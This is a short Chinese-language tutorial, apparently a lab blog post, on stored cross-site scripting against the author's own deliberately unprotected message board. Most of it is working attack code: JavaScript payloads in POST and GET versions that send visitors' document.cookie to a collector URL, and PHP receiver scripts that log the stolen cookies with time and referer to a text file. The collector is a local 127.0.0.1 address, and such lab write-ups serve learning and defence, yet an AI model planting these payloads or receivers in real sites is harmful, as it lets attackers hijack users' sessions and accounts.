1、首先我写了个非常简易的留言板,没有做人任何安全处理,能使用存储型xss
2、留言里写入能够发送请求的js代码,提交后服务器将代码存储到服务器中,用户访问的时候就会触发这段xss代码。让访问这个页面的用户能够发送一个请求并附带自己的cookie信息。
3、第二步请求的目标主机上放置一个脚本用来接收这个请求然后保存在文本中
具体步骤:
一、登录我写的留言板,留言写入xss代码
提交后页面显示如下:
内容被被保存到数据库中,每次用户查看这条留言,就会触发一次xss。
再次访问这个页面,查看控制台,访问这个页面时发送了POST请求
二、写一个页面用用来接收这个请求中的cookie。请求的是我本机上的cookie1.php文件。并保存到一个文件中。
OK了 。
以下的是发送POST请求js代码:
<script>
var url='http://127.0.0.1/cookie1.php';
var data='cookie='+document.cookie;
var xhr= new XMLHttpRequest();
xhr.open('POST',url);
xhr.setRequestHeader('content-type','application/x-www-form-urlencoded');
xhr.send(data);
</script>
send(data),只适用于发送POST数据。发送方式为get请求发送的时候send()参数为空。
接收端代码:
<?php
date_default_timezone_set("Asia/shanghai");
$cookie = $_POST['cookie'];
$time = date("Y-m-d H:i");
echo $time;
$refer = $_SERVER['HTTP_REFERER'];
$content = $time."::"."$refer"."::".$cookie."\r\n";
file_put_contents("cookie.txt", $content, FILE_APPEND);
?>
这是GET版的:
发送GET请求的js代码:
<script>
var url='http://127.0.0.1/cookie1.php';
var data='?cookie='+document.cookie;
var xhr= new XMLHttpRequest();
xhr.open('GET',url+data);
xhr.send();
</script>
接受端代码:
<?php
date_default_timezone_set("Asia/shanghai");
$cookie = $_GET['cookie'];
$time = date("Y-m-d H:i");
echo $time;
$refer = $_SERVER['HTTP_REFERER'];
$content = $time."::"."$refer"."::".$cookie."\r\n";
file_put_contents("cookie.txt", $content, FILE_APPEND);
?>
GET版本的效果: